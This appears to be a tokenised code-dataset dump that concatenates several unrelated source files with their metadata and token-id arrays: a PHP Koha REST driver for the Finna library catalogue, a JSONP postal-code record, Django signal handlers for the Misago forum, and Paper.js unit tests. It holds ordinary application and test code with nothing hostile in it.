['v1', 'holds'],
['borrowernumber' => $patron['id']],
'GET',
$patron
);
if (!isset($result)) {
return [];
}
$holds = [];
foreach ($result as $entry) {
$bibId = $entry['biblionumber'] ?? null;
$itemId = $entry['itemnumber'] ?? null;
$title = '';
$volume = '';
if ($itemId) {
$item = $this->getItem($itemId);
$bibId = $item['biblionumber'] ?? null;
$volume = $item['enumchron'] ?? '';
}
if (!empty($bibId)) {
$bib = $this->getBibRecord($bibId);
$title = $bib['title'] ?? '';
if (!empty($bib['title_remainder'])) {
$title .= ' ' . $bib['title_remainder'];
$title = trim($title);
}
}
$frozen = false;
if (!empty($entry['suspend'])) {
$frozen = !empty($entry['suspend_until']) ? $entry['suspend_until']
: true;
}
$available = !empty($entry['waitingdate']);
$inTransit = isset($entry['found'])
&& strtolower($entry['found']) == 't';
$holds[] = [
'id' => $bibId,
'item_id' => $itemId ? $itemId : $entry['reserve_id'],
'location' => $entry['branchcode'],
'create' => $this->dateConverter->convertToDisplayDate(
'Y-m-d', $entry['reservedate']
),
'expire' => !empty($entry['expirationdate'])
? $this->dateConverter->convertToDisplayDate(
'Y-m-d', $entry['expirationdate']
) : '',
'position' => $entry['priority'],
'available' => $available,
'in_transit' => $inTransit,
'requestId' => $entry['reserve_id'],
'title' => $title,
'volume' => $volume,
'frozen' => $frozen,
'is_editable' => !$available && !$inTransit
];
}
return $holds;
}
/**
* Public Function which retrieves renew, hold and cancel settings from the
* driver ini file.
*
* @param string $function The name of the feature to be checked
* @param array $params Optional feature-specific parameters (array)
*
* @return array An array with key-value pairs.
*
* @SuppressWarnings(PHPMD.UnusedFormalParameter)
*/
public function getConfig($function, $params = null)
{
if ('getPasswordRecoveryToken' === $function
|| 'recoverPassword' === $function
) {
return !empty($this->config['PasswordRecovery']['enabled'])
? $this->config['PasswordRecovery'] : false;
} elseif ('getPatronStaffAuthorizationStatus' === $function) {
return ['enabled' => true];
}
$functionConfig = parent::getConfig($function, $params);
if ($functionConfig && 'onlinePayment' === $function) {
if (!isset($functionConfig['exactBalanceRequired'])) {
$functionConfig['exactBalanceRequired'] = false;
}
}
return $functionConfig;
}
/**
* Check if patron belongs to staff.
*
* @param array $patron The patron array from patronLogin
*
* @return bool True if patron is staff, false if not
*/
public function getPatronStaffAuthorizationStatus($patron)
{
$username = $patron['cat_username'];
if ($this->sessionCache->patron != $username) {
if (!$this->renewPatronCookie($patron)) {
return false;
}
}
return !empty(
array_intersect(
['superlibrarian', 'catalogue'],
$this->sessionCache->patronPermissions
)
);
}
/**
* Get Pick Up Locations
*
* This is responsible for gettting a list of valid library locations for
* holds / recall retrieval
*
* @param array $patron Patron information returned by the patronLogin
* method.
* @param array $holdDetails Optional array, only passed in when getting a list
* in the context of placing a hold; contains most of the same values passed to
* placeHold, minus the patron data. May be used to limit the pickup options
* or may be ignored. The driver must not add new options to the return array
* based on this data or other areas of VuFind may behave incorrectly.
*
* @throws ILSException
* @return array An array of associative arrays with locationID and
* locationDisplay keys
*
* @SuppressWarnings(PHPMD.UnusedFormalParameter)
*/
public function getPickUpLocations($patron = false, $holdDetails = null)
{
$locations = [];
$section = array_key_exists('StorageRetrievalRequest', $holdDetails ?? [])
? 'StorageRetrievalRequests' : 'Holds';
$excluded = isset($this->config[$section]['excludePickupLocations'])
? explode(':', $this->config[$section]['excludePickupLocations']) : [];
$included = null;
if (!empty($this->config['Catalog']['availabilitySupportsPickupLocations'])
) {
$included = [];
$level = isset($holdDetails['level']) && !empty($holdDetails['level'])
? $holdDetails['level'] : 'copy';
$bibId = $holdDetails['id'];
$itemId = $holdDetails['item_id'] ?? false;
if ('copy' === $level && false === $itemId) {
return [];
}
// Collect branch codes that are to be included
if ('copy' === $level) {
$result = $this->makeRequest(
['v1', 'availability', 'item', 'hold'],
[
'itemnumber' => $itemId,
'borrowernumber' => (int)$patron['id'],
'query_pickup_locations' => 1
],
'GET',
$patron
);
if (empty($result)) {
return [];
}
$pickupLocs
= $result[0]['availability']['notes']['Item::PickupLocations']
?? [];
} else {
$result = $this->makeRequest(
['v1', 'availability', 'biblio', 'hold'],
[
'biblionumber' => $bibId,
'borrowernumber' => (int)$patron['id'],
'query_pickup_locations' => 1
],
'GET',
$patron
);
if (empty($result)) {
return [];
}
$pickupLocs
= $result[0]['availability']['notes']['Biblio::PickupLocations']
?? [];
}
foreach ($pickupLocs['to_libraries'] ?? [] as $code) {
$included[] = $code;
}
}
$result = $this->makeRequest(
['v1', 'libraries'],
false,
'GET',
$patron
);
if (empty($result)) {
return [];
}
foreach ($result as $location) {
$code = $location['branchcode'];
if ((null === $included && !$location['pickup_location'])
|| in_array($code, $excluded)
|| (null !== $included && !in_array($code, $included))
) {
continue;
}
$locations[] = [
'locationID' => $code,
'locationDisplay' => $location['branchname']
];
}
// Do we need to sort pickup locations? If the setting is false, don't
// bother doing any more work. If it's not set at all, default to
// alphabetical order.
$orderSetting = isset($this->config[$section]['pickUpLocationOrder'])
? $this->config[$section]['pickUpLocationOrder'] : 'default';
if (count($locations) > 1 && !empty($orderSetting)) {
$locationOrder = $orderSetting === 'default'
? [] : array_flip(explode(':', $orderSetting));
$sortFunction = function ($a, $b) use ($locationOrder) {
$aLoc = $a['locationID'];
$bLoc = $b['locationID'];
if (isset($locationOrder[$aLoc])) {
if (isset($locationOrder[$bLoc])) {
return $locationOrder[$aLoc] - $locationOrder[$bLoc];
}
return -1;
}
if (isset($locationOrder[$bLoc])) {
return 1;
}
return strcasecmp($a['locationDisplay'], $b['locationDisplay']);
};
usort($locations, $sortFunction);
}
return $locations;
}
/**
* Return summary of holdings items.
*
* @param array $holdings Parsed holdings items
*
* @return array summary
*/
protected function getHoldingsSummary($holdings)
{
$availableTotal = $itemsTotal = $reservationsTotal = 0;
$requests = 0;
$locations = [];
foreach ($holdings as $item) {
if (!empty($item['availability'])) {
$availableTotal++;
}
if (strncmp($item['item_id'], 'HLD_', 4) !== 0) {
$itemsTotal++;
}
$locations[$item['location']] = true;
if ($item['requests_placed'] > $requests) {
$requests = $item['requests_placed'];
}
}
// Since summary data is appended to the holdings array as a fake item,
// we need to add a few dummy-fields that VuFind expects to be
// defined for all elements.
// Use a stupid location name to make sure this doesn't get mixed with
// real items that don't have a proper location.
$result = [
'available' => $availableTotal,
'total' => $itemsTotal,
'locations' => count($locations),
'availability' => null,
'callnumber' => null,
'location' => '__HOLDINGSSUMMARYLOCATION__'
];
if (!empty($this->config['Holdings']['display_total_hold_count'])) {
$result['reservations'] = $requests;
}
return $result;
}
/**
* Return a location for a Koha item
*
* @param array $item Item
*
* @return string
*/
protected function getItemLocationName($item)
{
$result = parent::getItemLocationName($item);
if ($this->groupHoldingsByLocation) {
$location = $this->translateLocation(
$item['location'],
!empty($item['location_description'])
? $item['location_description'] : $item['location']
);
if ($location) {
// Empty translation will result in ‌
$emptyChar = html_entity_decode('‌', ENT_NOQUOTES, 'UTF-8');
if ($result && $result !== $emptyChar) {
$result .= ', ';
}
$result .= $location;
}
}
return $result;
}
/**
* Return a call number for a Koha item
*
* @param array $item Item
*
* @return string
*/
protected function getItemCallNumber($item)
{
$result = [];
if (!empty($item['ccode'])
&& !empty($this->config['Holdings']['display_ccode'])
) {
$result[] = $this->translateCollection(
$item['ccode'],
$item['ccode_description'] ?? $item['ccode']
);
}
if (!$this->groupHoldingsByLocation) {
$result[] = $this->translateLocation(
$item['location'],
!empty($item['location_description'])
? $item['location_description'] : $item['location']
);
}
if ((!empty($item['itemcallnumber'])
|| !empty($item['itemcallnumber_display']))
&& !empty($this->config['Holdings']['display_full_call_number'])
) {
if (!empty($this->config['Holdings']['use_non_display_call_number'])) {
$result[] = $item['itemcallnumber'];
} else {
$result[] = !empty($item['itemcallnumber_display'])
? $item['itemcallnumber_display'] : $item['itemcallnumber'];
}
}
$str = implode(', ', $result);
return $str;
}
/**
* Place Hold
*
* Attempts to place a hold or recall on a particular item and returns
* an array with result details or throws an exception on failure of support
* classes
*
* @param array $holdDetails An array of item and patron data
*
* @throws ILSException
* @return mixed An array of data on the request including
* whether or not it was successful and a system message (if available)
*/
public function placeHold($holdDetails)
{
$patron = $holdDetails['patron'];
$level = isset($holdDetails['level']) && !empty($holdDetails['level'])
? $holdDetails['level'] : 'copy';
$pickUpLocation = !empty($holdDetails['pickUpLocation'])
? $holdDetails['pickUpLocation'] : $this->defaultPickUpLocation;
$itemId = $holdDetails['item_id'] ?? false;
$comment = $holdDetails['comment'] ?? '';
$bibId = $holdDetails['id'];
// Convert last interest date from Display Format to Koha's required format
try {
$lastInterestDate = $this->dateConverter->convertFromDisplayDate(
'Y-m-d', $holdDetails['requiredBy']
);
} catch (DateException $e) {
// Hold Date is invalid
return $this->holdError('hold_date_invalid');
}
if ($level == 'copy' && empty($itemId)) {
throw new ILSException("Hold level is 'copy', but item ID is empty");
}
try {
$checkTime = $this->dateConverter->convertFromDisplayDate(
'U', $holdDetails['requiredBy']
);
if (!is_numeric($checkTime)) {
throw new DateException('Result should be numeric');
}
} catch (DateException $e) {
throw new ILSException('Problem parsing required by date.');
}
if (time() > $checkTime) {
// Hold Date is in the past
return $this->holdError('hold_date_past');
}
// Make sure pickup location is valid
if (!$this->pickUpLocationIsValid($pickUpLocation, $patron, $holdDetails)) {
return $this->holdError('hold_invalid_pickup');
}
$request = [
'biblionumber' => (int)$bibId,
'borrowernumber' => (int)$patron['id'],
'branchcode' => $pickUpLocation,
'reservenotes' => $comment,
'expirationdate' => $this->dateConverter->convertFromDisplayDate(
'Y-m-d', $holdDetails['requiredBy']
)
];
if ($level == 'copy') {
$request['itemnumber'] = (int)$itemId;
}
list($code, $result) = $this->makeRequest(
['v1', 'holds'],
json_encode($request),
'POST',
$patron,
true
);
if ($code >= 300) {
return $this->holdError($code, $result);
}
return ['success' => true];
}
/**
* Get Item Statuses
*
* This is responsible for retrieving the status information of a certain
* record.
*
* @param string $id The record id to retrieve the holdings for
* @param array $patron Patron information, if available
*
* @return array An associative array with the following keys:
* id, availability (boolean), status, location, reserve, callnumber.
*/
protected function getItemStatusesForBiblio($id, $patron = null)
{
$holdings = [];
if (!empty($this->config['Holdings']['use_holding_records'])) {
list($code, $holdingsResult) = $this->makeRequest(
['v1', 'biblios', $id, 'holdings'],
[],
'GET',
$patron,
true
);
if (404 === $code) {
return [];
}
if ($code !== 200) {
throw new ILSException('Problem with Koha REST API.');
}
// Turn the holdings into a keyed array
if (!empty($holdingsResult['holdings'])) {
foreach ($holdingsResult['holdings'] as $holding) {
$holdings[$holding['holding_id']] = $holding;
}
}
}
list($code, $result) = $this->makeRequest(
['v1', 'availability', 'biblio', 'search'],
['biblionumber' => $id],
'GET',
$patron,
true
);
if (404 === $code) {
return [];
}
if ($code !== 200) {
throw new ILSException('Problem with Koha REST API.');
}
$statuses = [];
foreach ($result[0]['item_availabilities'] ?? [] as $i => $item) {
// $holding is a reference!
unset($holding);
if (!empty($item['holding_id'])
&& isset($holdings[$item['holding_id']])
) {
$holding = &$holdings[$item['holding_id']];
if ($holding['suppress']) {
continue;
}
}
$avail = $item['availability'];
$available = $avail['available'];
$statusCodes = $this->getItemStatusCodes($item);
$status = $this->pickStatus($statusCodes);
if (isset($avail['unavailabilities']['Item::CheckedOut']['date_due'])) {
$duedate = $this->dateConverter->convertToDisplayDate(
'Y-m-d\TH:i:sP',
$avail['unavailabilities']['Item::CheckedOut']['date_due']
);
} else {
$duedate = null;
}
$location = $this->getItemLocationName($item);
$callnumber = $this->getItemCallNumber($item);
$sublocation = $item['sub_description'] ?? '';
$branchId = (!$this->useHomeBranch && null !== $item['holdingbranch'])
? $item['holdingbranch'] : $item['homebranch'];
$locationId = $item['location'];
$entry = [
'id' => $id,
'item_id' => $item['itemnumber'],
'location' => $location,
'department' => $sublocation,
'availability' => $available,
'status' => $status,
'status_array' => $statusCodes,
'reserve' => 'N',
'callnumber' => $callnumber,
'duedate' => $duedate,
'number' => $item['enumchron'],
'barcode' => $item['barcode'],
'sort' => $i,
'requests_placed' => max(
[$item['hold_queue_length'], $result[0]['hold_queue_length']]
),
'branchId' => $branchId,
'locationId' => $locationId
];
if (!empty($item['itemnotes'])) {
$entry['item_notes'] = [$item['itemnotes']];
}
if ($patron && $this->itemHoldAllowed($item)) {
$entry['is_holdable'] = true;
$entry['level'] = 'copy';
$entry['addLink'] = 'check';
} else {
$entry['is_holdable'] = false;
}
if ($patron && $this->itemArticleRequestAllowed($item)) {
$entry['storageRetrievalRequest'] = 'auto';
$entry['addStorageRetrievalRequestLink'] = 'check';
}
if (isset($holding)) {
$entry += $this->getHoldingData($holding);
$holding['_hasItems'] = true;
}
$statuses[] = $entry;
}
// $holding is a reference!
unset($holding);
if (!isset($i)) {
$i = 0;
}
// Add holdings that don't have items
if (!empty($holdings)) {
foreach ($holdings as $holding) {
if ($holding['suppress'] || !empty($holding['_hasItems'])) {
continue;
}
$holdingData = $this->getHoldingData($holding, true);
$i++;
$entry = $this->createHoldingEntry($id, $holding, $i);
$entry += $holdingData;
$statuses[] = $entry;
}
}
// See if there are links in holdings
$electronic = [];
if (!empty($holdings)) {
foreach ($holdings as $holding) {
$marc = $this->getHoldingMarc($holding);
if (null === $marc) {
continue;
}
$notes = [];
if ($fields = $marc->getFields('852')) {
foreach ($fields as $field) {
if ($subfield = $field->getSubfield('z')) {
$notes[] = $subfield->getData();
}
}
}
if ($fields = $marc->getFields('856')) {
foreach ($fields as $field) {
if ($subfields = $field->getSubfields()) {
$urls = [];
$desc = [];
$parts = [];
foreach ($subfields as $code => $subfield) {
if ('u' === $code) {
$urls[] = $subfield->getData();
} elseif ('3' === $code) {
$parts[] = $subfield->getData();
} elseif (in_array($code, ['y', 'z'])) {
$desc[] = $subfield->getData();
}
}
foreach ($urls as $url) {
++$i;
$entry
= $this->createHoldingEntry($id, $holding, $i);
$entry['availability'] = true;
$entry['location'] = implode('. ', $desc);
$entry['locationhref'] = $url;
$entry['use_unknown_message'] = false;
$entry['status']
= implode('. ', array_merge($parts, $notes));
$electronic[] = $entry;
}
}
}
}
}
}
usort($statuses, [$this, 'statusSortFunction']);
usort($electronic, [$this, 'statusSortFunction']);
return [
'holdings' => $statuses,
'electronic_holdings' => $electronic
];
}
/**
* Create a holding entry
*
* @param string $id Bib ID
* @param array $holding Holding
* @param int $sortKey Sort key
*
* @return array
*/
protected function createHoldingEntry($id, $holding, $sortKey)
{
$location = $this->getBranchName($holding['holdingbranch']);
$callnumber = '';
if (!empty($holding['ccode'])
&& !empty($this->config['Holdings']['display_ccode'])
) {
$callnumber = $this->translateCollection(
$holding['ccode'],
$holding['ccode_description'] ?? $holding['ccode']
);
}
if ($this->groupHoldingsByLocation) {
$holdingLoc = $this->translateLocation(
$holding['location'],
!empty($holding['location_description'])
? $holding['location_description'] : $holding['location']
);
if ($holdingLoc) {
if ($location) {
$location .= ', ';
}
$location .= $holdingLoc;
}
} else {
if ($callnumber) {
$callnumber .= ', ';
}
$callnumber .= $this->translateLocation(
$holding['location'],
!empty($holding['location_description'])
? $holding['location_description']
: $holding['location']
);
}
if ($holding['callnumber']) {
$callnumber .= ' ' . $holding['callnumber'];
}
$callnumber = trim($callnumber);
$branchId = $holding['holdingbranch'];
$locationId = $holding['location'];
return [
'id' => $id,
'item_id' => 'HLD_' . $holding['biblionumber'],
'location' => $location,
'requests_placed' => 0,
'status' => '',
'use_unknown_message' => true,
'availability' => false,
'duedate' => '',
'barcode' => '',
'callnumber' => $callnumber,
'sort' => $sortKey,
'branchId' => $branchId,
'locationId' => $locationId
];
}
/**
* Return a location for a Koha branch ID
*
* @param string $branchId Branch ID
*
* @return string
*/
protected function getBranchName($branchId)
{
$name = $this->translate("location_$branchId");
if ($name === "location_$branchId") {
$branches = $this->getCachedData('branches');
if (null === $branches) {
$result = $this->makeRequest(
['v1', 'libraries'], false, 'GET'
);
$branches = [];
foreach ($result as $branch) {
$branches[$branch['branchcode']] = $branch['branchname'];
}
$this->putCachedData('branches', $branches);
}
$name = $branches[$branchId] ?? $branchId;
}
return $name;
}
/**
* Get a MARC record for the given holding or null if not available
*
* @param array $holding Holding
*
* @return \File_MARCXML
*/
protected function getHoldingMarc(&$holding)
{
if (!isset($holding['_marcRecord'])) {
foreach ($holding['holdings_metadata'] ?? [$holding['metadata']]
as $metadata
) {
if ('marcxml' === $metadata['format']
&& 'MARC21' === $metadata['marcflavour']
) {
$marc = new \File_MARCXML(
$metadata['metadata'],
\File_MARCXML::SOURCE_STRING
);
$holding['_marcRecord'] = $marc->next();
return $holding['_marcRecord'];
}
}
$holding['_marcRecord'] = null;
}
return $holding['_marcRecord'];
}
/**
* Get holding data from a holding record
*
* @param array $holding Holding record from Koha
*
* @return array
*/
protected function getHoldingData(&$holding)
{
$marc = $this->getHoldingMarc($holding);
if (null === $marc) {
return [];
}
$marcDetails = [];
// Get Notes
$data = $this->getMFHDData(
$marc,
isset($this->config['Holdings']['notes'])
? $this->config['Holdings']['notes']
: '852z'
);
if ($data) {
$marcDetails['notes'] = $data;
}
// Get Summary (may be multiple lines)
$data = $this->getMFHDData(
$marc,
isset($this->config['Holdings']['summary'])
? $this->config['Holdings']['summary']
: '866a'
);
if ($data) {
$marcDetails['summary'] = $data;
}
// Get Supplements
if (isset($this->config['Holdings']['supplements'])) {
$data = $this->getMFHDData(
$marc,
$this->config['Holdings']['supplements']
);
if ($data) {
$marcDetails['supplements'] = $data;
}
}
// Get Indexes
if (isset($this->config['Holdings']['indexes'])) {
$data = $this->getMFHDData(
$marc,
$this->config['Holdings']['indexes']
);
if ($data) {
$marcDetails['indexes'] = $data;
}
}
// Get links
if (isset($this->config['Holdings']['links'])) {
$data = $this->getMFHDData(
$marc,
$this->config['Holdings']['links']
);
if ($data) {
$marcDetails['links'] = $data;
}
}
// Make sure to return an empty array unless we have details to display
if (!empty($marcDetails)) {
$marcDetails['holdings_id'] = $holding['holding_id'];
}
return $marcDetails;
}
/**
* Get specified fields from an MFHD MARC Record
*
* @param object $record File_MARC object
* @param array|string $fieldSpecs Array or colon-separated list of
* field/subfield specifications (3 chars for field code and then subfields,
* e.g. 866az)
*
* @return string|string[] Results as a string if single, array if multiple
*/
protected function getMFHDData($record, $fieldSpecs)
{
if (!is_array($fieldSpecs)) {
$fieldSpecs = explode(':', $fieldSpecs);
}
$results = '';
foreach ($fieldSpecs as $fieldSpec) {
$fieldCode = substr($fieldSpec, 0, 3);
$subfieldCodes = substr($fieldSpec, 3);
if ($fields = $record->getFields($fieldCode)) {
foreach ($fields as $field) {
if ($subfields = $field->getSubfields()) {
$line = '';
foreach ($subfields as $code => $subfield) {
if (!strstr($subfieldCodes, $code)) {
continue;
}
if ($line) {
$line .= ' ';
}
$line .= $subfield->getData();
}
if ($line) {
if (!$results) {
$results = $line;
} else {
if (!is_array($results)) {
$results = [$results];
}
$results[] = $line;
}
}
}
}
}
}
return $results;
}
/**
* Translate location name
*
* @param string $location Location code
* @param string $default Default value if translation is not available
*
* @return string
*/
protected function translateLocation($location, $default = null)
{
if (empty($location)) {
return null !== $default ? $default : '';
}
$prefix = $catPrefix = 'location_';
if (!empty($this->config['Catalog']['id'])) {
$catPrefix .= $this->config['Catalog']['id'] . '_';
}
return $this->translate(
"$catPrefix$location",
null,
$this->translate(
"$prefix$location",
null,
null !== $default ? $default : $location
)
);
}
/**
* Translate collection name
*
* @param string $code Collection code
* @param string $description Collection description
*
* @return string
*/
protected function translateCollection($code, $description)
{
$prefix = 'collection_';
if (!empty($this->config['Catalog']['id'])) {
$prefix .= $this->config['Catalog']['id'] . '_';
}
return $this->translate(
"$prefix$code",
null,
$description
);
}
/**
* Status item sort function
*
* @param array $a First status record to compare
* @param array $b Second status record to compare
*
* @return int
*/
protected function statusSortFunction($a, $b)
{
$orderA = $this->holdingsBranchOrder[$a['branchId'] . '/' . $a['locationId']]
?? $this->holdingsBranchOrder[$a['branchId']]
?? 999;
$orderB = $this->holdingsBranchOrder[$b['branchId'] . '/' . $b['locationId']]
?? $this->holdingsBranchOrder[$b['branchId']]
?? 999;
$result = $orderA - $orderB;
if (0 === $result) {
$orderA = $this->holdingsLocationOrder[$a['locationId']] ?? 999;
$orderB = $this->holdingsLocationOrder[$b['locationId']] ?? 999;
$result = $orderA - $orderB;
}
if (0 === $result) {
$result = strcmp($a['location'], $b['location']);
}
if (0 === $result && $this->sortItemsByEnumChron) {
// Reverse chronological order
$result = strnatcmp($b['number'] ?? '', $a['number'] ?? '');
}
if (0 === $result) {
$result = $a['sort'] - $b['sort'];
}
return $result;
}
}
| arto70/NDL-VuFind2 | module/Finna/src/Finna/ILS/Driver/KohaRest.php | PHP | gpl-2.0 | 64,182 | [
30522,
1026,
1029,
25718,
1013,
1008,
1008,
1008,
12849,
8167,
4355,
6335,
2015,
4062,
1008,
1008,
25718,
2544,
1021,
1008,
1008,
9385,
1006,
1039,
1007,
1996,
2120,
3075,
1997,
6435,
2418,
1011,
10476,
1012,
1008,
1008,
2023,
2565,
2003,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
jsonp({"cep":"15996012","logradouro":"Avenida \u00cdtalo Mod\u00e9","bairro":"Vila Jandira","cidade":"Mat\u00e3o","uf":"SP","estado":"S\u00e3o Paulo"});
| lfreneda/cepdb | api/v1/15996012.jsonp.js | JavaScript | cc0-1.0 | 153 | [
30522,
1046,
3385,
2361,
1006,
1063,
1000,
8292,
2361,
1000,
1024,
1000,
18914,
2683,
16086,
12521,
1000,
1010,
1000,
8833,
12173,
8162,
2080,
1000,
1024,
1000,
13642,
3490,
2850,
1032,
1057,
8889,
19797,
9080,
2080,
16913,
1032,
1057,
8889... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
from django.contrib.auth import get_user_model
from django.db import transaction
from django.db.models.signals import pre_delete
from django.dispatch import Signal, receiver
from misago.categories.models import Category
from misago.categories.signals import delete_category_content, move_category_content
from misago.core.pgutils import batch_delete, batch_update
from misago.users.signals import delete_user_content, username_changed
from .models import Attachment, Post, PostEdit, PostLike, Thread, Poll, PollVote
delete_post = Signal()
delete_thread = Signal()
merge_post = Signal(providing_args=["other_post"])
merge_thread = Signal(providing_args=["other_thread"])
move_post = Signal()
move_thread = Signal()
remove_thread_participant = Signal(providing_args=["user"])
"""
Signal handlers
"""
@receiver(merge_thread)
def merge_threads_posts(sender, **kwargs):
other_thread = kwargs['other_thread']
other_thread.post_set.update(category=sender.category, thread=sender)
@receiver(merge_post)
def merge_posts(sender, **kwargs):
other_post = kwargs['other_post']
for user in sender.mentions.iterator():
other_post.mentions.add(user)
@receiver(move_thread)
def move_thread_content(sender, **kwargs):
Post.objects.filter(thread=sender).update(category=sender.category)
PostEdit.objects.filter(thread=sender).update(category=sender.category)
PostLike.objects.filter(thread=sender).update(category=sender.category)
Poll.objects.filter(thread=sender).update(category=sender.category)
PollVote.objects.filter(thread=sender).update(category=sender.category)
@receiver(delete_category_content)
def delete_category_threads(sender, **kwargs):
sender.thread_set.all().delete()
sender.post_set.all().delete()
@receiver(move_category_content)
def move_category_threads(sender, **kwargs):
new_category = kwargs['new_category']
Thread.objects.filter(category=sender).update(category=new_category)
Post.objects.filter(category=sender).update(category=new_category)
PostEdit.objects.filter(category=sender).update(category=new_category)
PostLike.objects.filter(category=sender).update(category=new_category)
Poll.objects.filter(category=sender).update(category=new_category)
PollVote.objects.filter(category=sender).update(category=new_category)
@receiver(delete_user_content)
def delete_user_threads(sender, **kwargs):
recount_categories = set()
recount_threads = set()
for thread in batch_delete(sender.thread_set.all(), 50):
recount_categories.add(thread.category_id)
with transaction.atomic():
thread.delete()
for post in batch_delete(sender.post_set.all(), 50):
recount_categories.add(post.category_id)
recount_threads.add(post.thread_id)
with transaction.atomic():
post.delete()
if recount_threads:
changed_threads_qs = Thread.objects.filter(id__in=recount_threads)
for thread in batch_update(changed_threads_qs, 50):
thread.synchronize()
thread.save()
if recount_categories:
for category in Category.objects.filter(id__in=recount_categories):
category.synchronize()
category.save()
@receiver(username_changed)
def update_usernames(sender, **kwargs):
Thread.objects.filter(starter=sender).update(
starter_name=sender.username,
starter_slug=sender.slug
)
Thread.objects.filter(last_poster=sender).update(
last_poster_name=sender.username,
last_poster_slug=sender.slug
)
Post.objects.filter(poster=sender).update(poster_name=sender.username)
Post.objects.filter(last_editor=sender).update(
last_editor_name=sender.username,
last_editor_slug=sender.slug
)
PostEdit.objects.filter(editor=sender).update(
editor_name=sender.username,
editor_slug=sender.slug
)
PostLike.objects.filter(user=sender).update(
user_name=sender.username,
user_slug=sender.slug
)
Attachment.objects.filter(uploader=sender).update(
uploader_name=sender.username,
uploader_slug=sender.slug
)
Poll.objects.filter(poster=sender).update(
poster_name=sender.username,
poster_slug=sender.slug
)
PollVote.objects.filter(voter=sender).update(
voter_name=sender.username,
voter_slug=sender.slug
)
@receiver(pre_delete, sender=get_user_model())
def remove_unparticipated_private_threads(sender, **kwargs):
threads_qs = kwargs['instance'].private_thread_set.all()
for thread in batch_update(threads_qs, 50):
if thread.participants.count() == 1:
with transaction.atomic():
thread.delete()
| 1905410/Misago | misago/threads/signals.py | Python | gpl-2.0 | 4,750 | [
30522,
2013,
6520,
23422,
1012,
9530,
18886,
2497,
1012,
8740,
2705,
12324,
2131,
1035,
5310,
1035,
2944,
2013,
6520,
23422,
1012,
16962,
12324,
12598,
2013,
6520,
23422,
1012,
16962,
1012,
4275,
1012,
7755,
12324,
3653,
1035,
3972,
12870,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Paper.js
*
* This file is part of Paper.js, a JavaScript Vector Graphics Library,
* based on Scriptographer.org and designed to be largely API compatible.
* http://paperjs.org/
* http://scriptographer.org/
*
* Copyright (c) 2011, Juerg Lehni & Jonathan Puckey
* http://lehni.org/ & http://jonathanpuckey.com/
*
* Distributed under the MIT license. See LICENSE file for details.
*
* All rights reserved.
*/
module('Item');
test('copyTo(project)', function() {
var project = paper.project;
var path = new Path();
var secondDoc = new Project();
var copy = path.copyTo(secondDoc);
equals(function() {
return secondDoc.activeLayer.children.indexOf(copy) != -1;
}, true);
equals(function() {
return project.activeLayer.children.indexOf(copy) == -1;
}, true);
equals(function() {
return copy != path;
}, true);
});
test('copyTo(layer)', function() {
var project = paper.project;
var path = new Path();
var layer = new Layer();
var copy = path.copyTo(layer);
equals(function() {
return layer.children.indexOf(copy) != -1;
}, true);
equals(function() {
return project.layers[0].children.indexOf(copy) == -1;
}, true);
});
test('clone()', function() {
var project = paper.project;
var path = new Path();
var copy = path.clone();
equals(function() {
return project.activeLayer.children.length;
}, 2);
equals(function() {
return path != copy;
}, true);
});
test('addChild(item)', function() {
var project = paper.project;
var path = new Path();
project.activeLayer.addChild(path);
equals(function() {
